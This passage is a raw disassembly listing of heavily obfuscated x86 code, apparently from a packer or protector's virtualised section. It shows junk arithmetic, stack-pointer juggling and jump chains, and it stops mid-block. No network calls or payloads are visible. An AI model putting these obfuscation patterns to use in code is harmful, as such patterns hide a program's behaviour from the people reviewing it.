loc_5906DF:				; CODE XREF: ud2_____:0057EEF3j
		add	ecx, esi
		pop	esi
		jmp	loc_580EC6
; ---------------------------------------------------------------------------


loc_5906E7:				; CODE XREF: ud2_____:00590017j
		add	eax, edi
		pop	edi
		push	ecx
		push	ebp
		mov	ebp, 490601AAh
		jmp	loc_587851
; ---------------------------------------------------------------------------


loc_5906F6:				; CODE XREF: ud2_____:0057FBA8j
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_58D6B3
; ---------------------------------------------------------------------------


loc_590700:				; CODE XREF: ud2_____:0058F72Aj
		push	37C1h
		jmp	loc_590E8A
; ---------------------------------------------------------------------------


loc_59070A:				; CODE XREF: ud2_____:00588EE2j
		xor	bp, 3AC3h
		dec	bp
		xor	bp, 1504h
		add	bx, bp
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	di, 7654h
		neg	di
		jmp	loc_592B9D
; ---------------------------------------------------------------------------


loc_59072C:				; CODE XREF: ud2_____:0058DC48j
		mov	edx, 2E411352h
		shr	edx, 6
		jmp	loc_587DA9
; ---------------------------------------------------------------------------


loc_590739:				; CODE XREF: ud2_____:0058D167j
		push	732B2BDDh
		pop	ebp
		add	ebp, 931CF0E9h
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5830FD
; ---------------------------------------------------------------------------
		push	46CCh
		mov	[esp], edx
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_59075F:				; CODE XREF: ud2_____:00591B95j
		sub	esi, 0AA096F23h
		add	ebp, esi
		pop	esi
		sub	eax, ebp
		pop	ebp
		push	edi
		jmp	loc_58EE0C
; ---------------------------------------------------------------------------


loc_590771:				; CODE XREF: ud2_____:0058DB5Ej
		push	edi
		jmp	loc_582560
; ---------------------------------------------------------------------------


loc_590777:				; CODE XREF: ud2_____:00588EA5j
		pop	ecx
		jmp	loc_58D90F
; ---------------------------------------------------------------------------


loc_59077D:				; CODE XREF: ud2_____:005896E2j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_5922A7
; ---------------------------------------------------------------------------


loc_59079A:				; CODE XREF: ud2_____:00583F99j
		inc	dh
		shr	dh, 2
		push	5E7Fh
		jmp	loc_5837CA
; ---------------------------------------------------------------------------


loc_5907A9:				; CODE XREF: ud2_____:0058DBC6j
		mov	[esp], esp
		jmp	loc_582037
; ---------------------------------------------------------------------------


loc_5907B1:				; CODE XREF: ud2_____:005898EDj
		mov	[esp], esp
		jmp	loc_57E95B
; ---------------------------------------------------------------------------


loc_5907B9:				; CODE XREF: ud2_____:0058973Aj
		inc	esi
		xor	esi, 2EF10694h
		jmp	loc_587869
; ---------------------------------------------------------------------------


loc_5907C5:				; CODE XREF: ud2_____:0058834Aj
		mov	esi, 4
		add	ebp, 786B26F9h
		add	ebp, esi
		sub	ebp, 786B26F9h
		jmp	loc_58995D
; ---------------------------------------------------------------------------


loc_5907DD:				; CODE XREF: ud2_____:0058817Dj
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	4ABAh
		mov	[esp], ebp
		mov	ebp, esp
		push	4D69h
		jmp	loc_583AF8
; ---------------------------------------------------------------------------


loc_590801:				; CODE XREF: ud2_____:0058B641j
		mov	esi, 412E6589h
		jmp	loc_57FB56
; ---------------------------------------------------------------------------


loc_59080B:				; CODE XREF: ud2_____:0058582Bj
		mov	ebx, 64834FE4h
		add	ebx, 61D54FEAh
		not	ebx
		sub	ebx, 8933995h
		add	ebx, 305A2D47h
		jmp	loc_58B562
; ---------------------------------------------------------------------------


loc_590829:				; CODE XREF: ud2_____:00581FFBj
		mov	[esp], esi
		mov	esi, 12410D37h
		or	esi, 26B91B39h
		xor	esi, 4F2E16D2h
		not	esi
		or	esi, 5B426C6Ah
		jmp	loc_589769
; ---------------------------------------------------------------------------


loc_59084A:				; CODE XREF: ud2_____:0058704Ej
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	bh, dl
		pop	edx
		jmp	loc_591D97
; ---------------------------------------------------------------------------


loc_590862:				; CODE XREF: ud2_____:00583B3Aj
		push	ebp
		inc	dword ptr [esp]
		pop	ebp
		xchg	ecx, ebp
		jmp	loc_580717
; ---------------------------------------------------------------------------


loc_59086E:				; CODE XREF: ud2_____:00587AC9j
		pop	ebx
		sub	edx, ecx
		add	edx, 33974E6Eh
		pop	ecx
		xor	edx, [esp]
		jmp	loc_583840
; ---------------------------------------------------------------------------


loc_590880:				; CODE XREF: ud2_____:0057EB87j
		pop	esi
		pop	ebx
		and	eax, ecx
		pop	ecx
		jmp	loc_592E0D
; ---------------------------------------------------------------------------


loc_59088A:				; CODE XREF: ud2_____:00586C02j
		add	edx, 4
		push	ebp
		mov	ebp, 4
		sub	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_58DF62
; ---------------------------------------------------------------------------


loc_5908A7:				; CODE XREF: ud2_____:00582032j
		add	edi, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_592A1E
; ---------------------------------------------------------------------------


loc_5908C4:				; CODE XREF: ud2_____:00588AD0j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_585A2E
; ---------------------------------------------------------------------------


loc_5908DB:				; CODE XREF: ud2_____:00583049j
		xor	bl, 3Dh
		shl	bl, 4
		add	bl, 6Ah
		add	al, 5Bh
		add	al, 0E2h
		add	al, bl
		push	small 2B6Dh
		mov	[esp], cx
		jmp	loc_58E01E
; ---------------------------------------------------------------------------


loc_5908F7:				; CODE XREF: ud2_____:00582E6Cj
		mov	[esp], eax
		jmp	loc_5895A9
; ---------------------------------------------------------------------------


loc_5908FF:				; CODE XREF: ud2_____:00582C1Fj
		push	ebx
		jmp	loc_58010E
; ---------------------------------------------------------------------------


loc_590905:				; CODE XREF: ud2_____:00592118j
		mov	edi, 3FA76279h
		xor	ecx, edi
		pop	edi
		sub	ecx, 0DD7116A6h
		add	ebx, ecx
		jmp	loc_5846F7
; ---------------------------------------------------------------------------


loc_59091A:				; CODE XREF: ud2_____:0058D9FEj
		and	edx, ebp
		pop	ebp
		dec	edx
		sub	edx, 0F2ED9302h
		add	edi, 72AE7339h
		sub	edi, edx
		sub	edi, 72AE7339h
		jmp	loc_58961A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	2EC5h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_58FAE4
; ---------------------------------------------------------------------------


loc_590953:				; CODE XREF: ud2_____:00591E46j
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_590E34
; ---------------------------------------------------------------------------


loc_590960:				; CODE XREF: ud2_____:0058318Ej
		push	ecx
		jmp	loc_5880C3
; ---------------------------------------------------------------------------


loc_590966:				; CODE XREF: ud2_____:005922A2j
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_581686
; ---------------------------------------------------------------------------


loc_590974:				; CODE XREF: ud2_____:005807DBj
		sub	edi, 35713CB9h
		push	dword ptr [esp]
		pop	edx
		jmp	loc_58D51F
; ---------------------------------------------------------------------------


loc_590983:				; CODE XREF: ud2_____:0058BFEAj
		add	al, ch
		pop	ecx
		sub	al, 8Dh
		add	al, 65h
		sub	al, cl
		sub	al, 65h
		push	dx
		mov	dl, 8Dh
		add	al, dl
		mov	dx, [esp]
		add	esp, 2
		jmp	loc_5821F0
; ---------------------------------------------------------------------------


loc_5909A0:				; CODE XREF: ud2_____:00585122j
		mov	si, ax
		pop	eax
		jmp	loc_58632B
; ---------------------------------------------------------------------------


loc_5909A9:				; CODE XREF: ud2_____:0058F4C5j
		mov	[esp], ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		sub	eax, esi
		jmp	loc_58882C
; ---------------------------------------------------------------------------


loc_5909C1:				; CODE XREF: ud2_____:0058AEB0j
		mov	[esp], ebx
		push	431903AEh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	[esp+4], ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4DA82A0Ch
		jmp	loc_58CF0B
; ---------------------------------------------------------------------------


loc_5909EB:				; CODE XREF: ud2_____:0057F636j
		mov	[esp], ebx
		jmp	loc_588DA6
; ---------------------------------------------------------------------------


loc_5909F3:				; CODE XREF: ud2_____:00585733j
		push	23A5h
		mov	[esp], esp
		jmp	loc_592868
; ---------------------------------------------------------------------------


loc_590A00:				; CODE XREF: ud2_____:00583F3Bj
		pop	ebp
		jmp	loc_58B90E
; ---------------------------------------------------------------------------


loc_590A06:				; CODE XREF: ud2_____:00587ADEj
		mov	[esp], ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		jmp	loc_580044
; ---------------------------------------------------------------------------


loc_590A19:				; CODE XREF: ud2_____:0058C6DDj
		pop	edx
		push	esi
		mov	esi, 2
		jmp	loc_592EB8
; ---------------------------------------------------------------------------


loc_590A25:				; CODE XREF: ud2_____:005828F8j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	60E5h
		mov	[esp], ebx
		mov	ebx, 7C9372C4h
		neg	ebx
		sub	ebx, 76C326C5h
		mov	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		jmp	loc_58D43B
; ---------------------------------------------------------------------------


loc_590A61:				; CODE XREF: ud2_____:00585B0Dj
		not	ebp
		inc	ebp
		sub	ebp, 7CE05A0Eh
		jmp	loc_58A885
; ---------------------------------------------------------------------------


loc_590A6F:				; CODE XREF: ud2_____:0057EE0Ej
		mov	[esp], eax
		push	esp
		pop	eax
		push	ecx
		mov	ecx, 4
		sub	eax, 3DD35251h
		add	eax, ecx
		jmp	loc_581C83
; ---------------------------------------------------------------------------


loc_590A86:				; CODE XREF: ud2_____:0058506Fj
		mov	ebx, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_58A0EB
; ---------------------------------------------------------------------------


loc_590A9A:				; CODE XREF: ud2_____:0058D3B6j
		xor	ebx, 0BB0691CBh
		jmp	loc_58E31E
; ---------------------------------------------------------------------------


loc_590AA5:				; CODE XREF: ud2_____:0058AA2Ej
		sub	edi, 0AF668F1h
		jmp	loc_588DAC
; ---------------------------------------------------------------------------


loc_590AB0:				; CODE XREF: ud2_____:0058B260j
		sub	al, 65h
		add	ch, al
		pop	eax
		sub	al, ch
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_59042C
; ---------------------------------------------------------------------------
		neg	byte ptr [esp]
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_590ACE:				; CODE XREF: ud2_____:0058D4EFj
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_58DDAD
; ---------------------------------------------------------------------------


loc_590ADB:				; CODE XREF: ud2_____:005866CFj
		mov	ebp, 53AE19C5h
		add	ebp, 0AC51E63Fh
		add	edi, ebp
		pop	ebp
		push	ebx
		mov	ebx, esp
		jmp	loc_590613
; ---------------------------------------------------------------------------


loc_590AF1:				; CODE XREF: ud2_____:00592E49j
		or	edx, 188619E7h
		dec	edx
		shr	edx, 7
		sub	edx, 233778FAh
		jmp	loc_5919F6
; ---------------------------------------------------------------------------


loc_590B06:				; CODE XREF: ud2_____:005921B6j
		dec	esi
		xor	esi, 2D2229CDh
		push	eax
		mov	eax, 169804A6h
		xor	esi, eax
		mov	eax, [esp]
		add	esp, 4
		add	esi, 8689B868h
		jmp	loc_588575
; ---------------------------------------------------------------------------


loc_590B29:				; CODE XREF: ud2_____:0058E9B1j
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	6E7Fh
		mov	[esp], ecx
		jmp	loc_58061D
; ---------------------------------------------------------------------------


loc_590B59:				; CODE XREF: ud2_____:00588A92j
		mov	ebp, esp
		push	ebp
		jmp	loc_580B4C
; ---------------------------------------------------------------------------


loc_590B61:				; CODE XREF: ud2_____:0058A49Ej
		push	55Ch


loc_590B66:				; DATA XREF: ud2_____:005C2EB9r
		jmp	loc_58E9BD
; ---------------------------------------------------------------------------


loc_590B6B:				; CODE XREF: ud2_____:00587511j
		sub	ebp, 512668F6h
		sub	eax, ebp
		pop	ebp
		jmp	loc_5914D8
; ---------------------------------------------------------------------------


loc_590B79:				; CODE XREF: ud2_____:0058B6F6j
		mov	[esp], ebx
		mov	ebx, 2E144C2Eh
		jmp	loc_58052F
; ---------------------------------------------------------------------------


loc_590B86:				; CODE XREF: ud2_____:0058528Cj
		pop	eax
		mov	ebx, ebp
		pop	ebp
		sub	ecx, 38D92956h
		jmp	loc_58E94C
; ---------------------------------------------------------------------------


loc_590B95:				; CODE XREF: ud2_____:0057E7CCj
		add	ecx, 39951BCDh
		sub	ecx, 44286FC0h
		jmp	loc_581015
; ---------------------------------------------------------------------------


loc_590BA6:				; CODE XREF: ud2_____:0058AA0Fj
		mov	ebx, esp
		jmp	loc_588FB5
; ---------------------------------------------------------------------------


loc_590BAD:				; CODE XREF: ud2_____:005841D5j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58166C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_590BC8:				; CODE XREF: ud2_____:0058C030j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	35F1h
		mov	[esp], ebp
		push	eax
		push	371112E3h
		pop	eax
		inc	eax
		push	ebp
		mov	ebp, 5E507B8Bh
		jmp	loc_58F597
; ---------------------------------------------------------------------------


loc_590BF4:				; CODE XREF: ud2_____:0058047Aj
		push	40A96502h
		pop	ebx
		xor	ebx, 40A9651Eh
		mov	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_58A3FC
; ---------------------------------------------------------------------------


loc_590C0E:				; CODE XREF: ud2_____:00580AE5j
		pop	esp
		push	24E9h
		mov	[esp], ecx
		mov	ecx, 57FF6A60h
		add	ecx, 6B41350h
		jmp	loc_57E1CF
; ---------------------------------------------------------------------------


loc_590C27:				; CODE XREF: ud2_____:0058BC3Ej
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		jmp	loc_580D5E
; ---------------------------------------------------------------------------


loc_590C36:				; CODE XREF: ud2_____:0058784Cj
		pop	edi
		jmp	loc_582A15
; ---------------------------------------------------------------------------


loc_590C3C:				; CODE XREF: ud2_____:0057E90Cj
		add	edx, 4
		jmp	loc_5851F9
; ---------------------------------------------------------------------------


loc_590C47:				; CODE XREF: ud2_____:00589F92j
		mov	ebp, 1200005Dh
		add	ebx, 39605A24h
		sub	ebx, ebp
		sub	ebx, 39605A24h
		jmp	loc_58A28A
; ---------------------------------------------------------------------------


loc_590C5F:				; CODE XREF: ud2_____:0058F9B1j
		push	ebx
		mov	bh, 90h
		jmp	loc_586D84
; ---------------------------------------------------------------------------


loc_590C67:				; CODE XREF: ud2_____:0057E8E0j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5903D7
; ---------------------------------------------------------------------------


loc_590C78:				; CODE XREF: ud2_____:0057F471j
		sub	esi, ebp
		pop	ebp
		add	esi, ebp
		add	esi, 5AA603E0h
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		jmp	loc_58D249
; ---------------------------------------------------------------------------


loc_590C92:				; CODE XREF: ud2_____:0058446Ej
		mov	[esp], eax
		xchg	ecx, [esp]
		not	ecx
		jmp	loc_58F284
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_590CA7:				; CODE XREF: ud2_____:0058BF81j
		not	edx
		sub	edx, 11126A60h
		and	edx, 2A464CA9h
		xor	edx, 460E7944h
		xor	edi, edx
		jmp	loc_58737E
; ---------------------------------------------------------------------------


loc_590CC2:				; CODE XREF: ud2_____:0058E718j
		sub	eax, 8581F31h
		add	eax, ecx
		add	eax, 8581F31h
		pop	ecx
		add	eax, 2
		xchg	eax, [esp]
		jmp	loc_58BAA4
; ---------------------------------------------------------------------------


loc_590CDC:				; CODE XREF: ud2_____:00582379j
		mov	[esp], edx
		mov	dl, 0D9h
		inc	dl
		jmp	loc_57FFBC
; ---------------------------------------------------------------------------


loc_590CE8:				; CODE XREF: ud2_____:00588B79j
		shl	ecx, 8
		shr	ecx, 8
		xor	ecx, 0E251FBh
		add	edx, 7EEB6BF1h
		add	edx, ecx
		sub	edx, 7EEB6BF1h
		pop	ecx
		xchg	edx, [esp]
		mov	esp, [esp]
		push	eax
		jmp	loc_5801CF
; ---------------------------------------------------------------------------


loc_590D0F:				; CODE XREF: ud2_____:0058641Aj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	eax
		push	7568h
		jmp	loc_57F9EC
; ---------------------------------------------------------------------------
		lodsb
		push	cx
		push	eax
		mov	al, 25h
		xor	al, 46h
		or	al, 5Bh
		sub	al, 1
		jmp	loc_5888B9
; ---------------------------------------------------------------------------


loc_590D35:				; CODE XREF: ud2_____:0058ED05j
		or	edi, 614D4628h
		add	edi, 5379144Eh
		sub	edi, 4D372789h
		jmp	loc_58400A
; ---------------------------------------------------------------------------


loc_590D4C:				; CODE XREF: ud2_____:0058F1F9j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_590D51:				; CODE XREF: ud2_____:00583B9Cj
		sub	eax, 170C2D65h
		pop	edi
		jmp	loc_582180
; ---------------------------------------------------------------------------


loc_590D5C:				; CODE XREF: ud2_____:00583305j
		pop	ebx
		sub	edi, 73F568DAh
		jmp	loc_58E1B8
; ---------------------------------------------------------------------------


loc_590D68:				; CODE XREF: ud2_____:00582DD7j
		add	esp, 4
		not	ebx
		sub	ebx, 1
		dec	ebx
		add	ebx, 481CA631h
		jmp	loc_58B4F7
; ---------------------------------------------------------------------------


loc_590D7C:				; CODE XREF: ud2_____:00589DF4j
		sub	edi, 30C47A11h
		add	edx, 7FA30963h
		jmp	loc_587C34
; ---------------------------------------------------------------------------


loc_590D8D:				; CODE XREF: ud2_____:00590252j
		mov	edx, 3A591Eh
		inc	edx
		push	edx
		jmp	loc_58D9EB
; ---------------------------------------------------------------------------


loc_590D99:				; CODE XREF: ud2_____:0057E1F2j
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_583EE4
; ---------------------------------------------------------------------------


loc_590DA4:				; CODE XREF: ud2_____:0058F721j
		pop	ebp
		push	edx
		jmp	loc_5871D7
; ---------------------------------------------------------------------------


loc_590DAB:				; CODE XREF: ud2_____:00581FB6j
		push	esi
		mov	esi, edi
		push	ecx
		mov	ecx, esi
		jmp	loc_58D8D3
; ---------------------------------------------------------------------------


loc_590DB6:				; CODE XREF: ud2_____:00588577j
		mov	esi, [esp]
		jmp	loc_58374A
; ---------------------------------------------------------------------------


loc_590DBE:				; CODE XREF: ud2_____:0059059Bj
		push	ebp
		jmp	loc_58963D
; ---------------------------------------------------------------------------


loc_590DC4:				; CODE XREF: ud2_____:005900C7j
		mov	edx, ecx
		pop	ecx
		sub	eax, edx
		pop	edx
		pop	ebx
		push	2635h
		jmp	loc_5819FE
; ---------------------------------------------------------------------------


loc_590DD5:				; CODE XREF: ud2_____:0058F0F3j
		shl	cl, 2
		jmp	loc_58ABEE
; ---------------------------------------------------------------------------


loc_590DDD:				; CODE XREF: ud2_____:00591977j
		push	esi
		push	64AA2747h
		jmp	loc_58A840
; ---------------------------------------------------------------------------


loc_590DE8:				; CODE XREF: ud2_____:00580194j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_58385B
; ---------------------------------------------------------------------------


loc_590DF3:				; CODE XREF: ud2_____:005890B2j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_57F142
; ---------------------------------------------------------------------------


loc_590E10:				; CODE XREF: ud2_____:0058243Dj
		add	esp, 2
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		push	67A0h
		mov	[esp], eax
		mov	ah, 2Fh
		mov	ch, ah
		mov	eax, [esp]
		jmp	loc_58A7B0
; ---------------------------------------------------------------------------


loc_590E34:				; CODE XREF: ud2_____:0059095Bj
		pop	ecx
		jmp	loc_587EDC
; ---------------------------------------------------------------------------


loc_590E3A:				; CODE XREF: ud2_____:0058C070j
		mov	edx, 363878A2h
		mov	ebx, 7667F6EFh
		add	ebx, 0A903A18h	; DATA XREF: sub_5C3797:loc_5C37D0r
		sub	ebx, edx
		sub	ebx, 0A903A18h
		jmp	loc_58B9F1
; ---------------------------------------------------------------------------


loc_590E57:				; CODE XREF: ud2_____:00591582j
		push	esi
		mov	esi, 36853B1Ah
		add	esi, 0CCF7F214h
		push	ecx
		mov	ecx, 43F5341Ah
		not	ecx
		add	ecx, 6151772Ch
		sub	edi, 274F229Eh
		jmp	loc_585379
; ---------------------------------------------------------------------------


loc_590E7C:				; CODE XREF: ud2_____:0058D287j
		push	538Eh
		mov	[esp], ebx
		push	esp
		jmp	loc_58D1BE
; ---------------------------------------------------------------------------


loc_590E8A:				; CODE XREF: ud2_____:00590705j
		mov	[esp], ecx
		jmp	loc_58AF1E
; ---------------------------------------------------------------------------


loc_590E92:				; CODE XREF: ud2_____:00588704j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_590E97:				; CODE XREF: ud2_____:00583EC8j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_57ECEA
; ---------------------------------------------------------------------------


loc_590EA7:				; CODE XREF: ud2_____:0058AE26j
		mov	ecx, esp
		push	esi
		jmp	loc_5857A1
; ---------------------------------------------------------------------------


loc_590EAF:				; CODE XREF: ud2_____:0058CD9Bj
		mov	[esp], eax
		push	6EFC449Eh
		jmp	loc_584F2C
; ---------------------------------------------------------------------------


loc_590EBC:				; CODE XREF: ud2_____:0058D63Bj
		xor	ebx, 52D83C07h
		or	ebp, ebx
		pop	ebx
		inc	ebp
		jmp	loc_58B646
; ---------------------------------------------------------------------------


loc_590ECB:				; CODE XREF: ud2_____:0058DDFAj
		pop	ecx
		jmp	loc_592957
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_589DBF
; ---------------------------------------------------------------------------


loc_590EDA:				; CODE XREF: ud2_____:005811C2j
		push	0A3E3578h
		jmp	loc_58C4FE
; ---------------------------------------------------------------------------


loc_590EE4:				; CODE XREF: ud2_____:0057E589j
		pop	ebp
		sub	eax, 0BD6804F7h
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		add	esi, 4915018Bh
		and	esi, 39900CFFh
		sub	esi, 945EBCE4h
		push	esi
		jmp	loc_58DDA1
; ---------------------------------------------------------------------------


loc_590F0A:				; CODE XREF: ud2_____:0058E3BFj
		inc	ebp
		jmp	loc_580EB9
; ---------------------------------------------------------------------------


loc_590F10:				; CODE XREF: ud2_____:0057F954j
		mov	ebp, 2B8C7128h
		xor	[esp+4], ebp
		pop	ebp
		pop	ebx
		xor	ebx, 2B8C7128h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_590F2C:				; CODE XREF: ud2_____:0057F9E0j
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_58A2C6
; ---------------------------------------------------------------------------


loc_590F42:				; CODE XREF: ud2_____:005898E2j
		add	bp, 42D7h
		pop	edx
		jmp	loc_58FBEA
; ---------------------------------------------------------------------------


loc_590F4D:				; CODE XREF: ud2_____:00586D3Aj
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	3CF7h
		jmp	loc_585186
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		push	small 5497h
		mov	[esp], ax
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_590F72:				; CODE XREF: ud2_____:005902C3j
		push	edi
		jmp	loc_5899CB
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	7B29h
		mov	[esp], ebp
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 291D5A73h
		dec	edx
		inc	edx
		inc	edx
		push	edi
		mov	edi, 23CD7D0Fh
		jmp	loc_580788
; ---------------------------------------------------------------------------


loc_590F9B:				; CODE XREF: ud2_____:0058F8BBj
		add	ebp, 746B4876h
		pop	eax
		add	ebp, ecx
		add	ebp, 64B20373h
		jmp	loc_58EE99
; ---------------------------------------------------------------------------


loc_590FAF:				; CODE XREF: ud2_____:00582F49j
		push	eax
		mov	eax, 2DD658BBh
		sub	eax, 62E35A1Ch
		jmp	loc_589168
; ---------------------------------------------------------------------------


loc_590FBF:				; CODE XREF: ud2_____:00588070j
		pop	edi
		push	2B1h
		mov	[esp], edi
		push	esi
		sub	esp, 4
		jmp	loc_583565
; ---------------------------------------------------------------------------


loc_590FD1:				; CODE XREF: ud2_____:0058C0D2j
		dec	edi
		push	esi
		mov	esi, 0DB363092h
		sub	edi, esi
		pop	esi
		push	edi
		mov	edi, 19064357h
		sub	eax, edi
		pop	edi
		add	eax, edi
		add	eax, 19064357h
		pop	edi
		jmp	loc_5894D7
; ---------------------------------------------------------------------------


loc_590FF1:				; CODE XREF: ud2_____:0058C643j
		pop	eax
		add	al, 0AEh
		jmp	loc_580356
; ---------------------------------------------------------------------------


loc_590FF9:				; CODE XREF: ud2_____:0057E13Bj
		pop	ebx
		jmp	loc_583B1E
; ---------------------------------------------------------------------------


loc_590FFF:				; CODE XREF: ud2_____:00588B0Bj
		sub	word ptr [esp],	4458h
		pop	dx
		add	dx, 4458h
		mov	ebp, [esp]
		add	esp, 4
		sub	ax, 44AAh
		sub	ax, dx
		add	ax, 44AAh
		mov	dx, [esp]
		add	esp, 2
		mov	dx, ax
		pop	eax
		sub	dx, 0A8Dh
		or	dx, 0E2Fh
		sub	dx, 0E7EBh
		xor	cx, dx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_58ABD8
; ---------------------------------------------------------------------------


loc_591048:				; CODE XREF: ud2_____:00587B29j
		shr	edx, 2
		shl	edx, 8
		shr	edx, 4
		xor	edx, 3F535130h
		jmp	loc_582D56
; ---------------------------------------------------------------------------


loc_59105C:				; CODE XREF: ud2_____:00591803j
		mov	edx, 38h
		sub	edx, 22FD382Dh
		add	edx, edi
		add	edx, 22FD382Dh
		mov	[edx], bh
		pop	edx
		pop	ebx
		pop	ecx
		jmp	loc_591F56
; ---------------------------------------------------------------------------


loc_591079:				; CODE XREF: ud2_____:0058D844j
		xor	edx, [esp]
		pop	esp
		jmp	loc_58DC68
; ---------------------------------------------------------------------------


loc_591082:				; CODE XREF: ud2_____:00584BE3j
		add	ecx, edi
		pop	edi
		add	edx, ecx
		pop	ecx
		add	edx, edi
		sub	edx, 1CF36A99h
		jmp	loc_581E6C
; ---------------------------------------------------------------------------


loc_591095:				; CODE XREF: ud2_____:0058B413j
		add	edi, ecx
		push	eax
		jmp	loc_585138
; ---------------------------------------------------------------------------


loc_59109D:				; CODE XREF: ud2_____:0058C813j
		inc	edx
		sub	edx, 0DDE0B289h
		add	ebx, edx
		pop	edx
		sub	ebx, 4
		jmp	loc_580D4B
; ---------------------------------------------------------------------------


loc_5910B2:				; CODE XREF: ud2_____:00587C3Dj
		push	ecx
		mov	ecx, 32C55AF0h
		sub	ecx, 9A2789Eh
		jmp	loc_588B75
; ---------------------------------------------------------------------------


loc_5910C3:				; CODE XREF: ud2_____:0057FA2Cj
		pop	edx
		add	ebp, esi
		pop	esi
		jmp	loc_5913E0
; ---------------------------------------------------------------------------


loc_5910CC:				; CODE XREF: ud2_____:0058BFB9j
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, eax
		jmp	loc_58C0D7
; ---------------------------------------------------------------------------


loc_5910D9:				; CODE XREF: ud2_____:005848A3j
		mov	edx, edi
		mov	ecx, edx
		pop	edx
		mov	edx, ecx
		pop	ecx
		pop	edi
		jmp	loc_58D0A5
; ---------------------------------------------------------------------------


loc_5910E7:				; CODE XREF: ud2_____:005809E7j
		push	ecx
		mov	ch, bh
		mov	[edi+eax*4], ch
		pop	ecx
		jmp	loc_58FF9C
; ---------------------------------------------------------------------------


loc_5910F3:				; CODE XREF: ud2_____:005888B4j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		jmp	loc_57F1FA
; ---------------------------------------------------------------------------


loc_591101:				; CODE XREF: ud2_____:0057EAA2j
		xchg	ebp, [esp]
		jmp	loc_5807C8
; ---------------------------------------------------------------------------


loc_591109:				; CODE XREF: ud2_____:00581004j
		pop	edx
		add	esp, 4
		add	ecx, 0F741BCE7h
		add	edi, ecx
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_585063
; ---------------------------------------------------------------------------


loc_591127:				; CODE XREF: ud2_____:005854E6j
		push	ecx
		mov	ecx, 2580519Fh
		add	ebx, ecx
		mov	ecx, [esp]
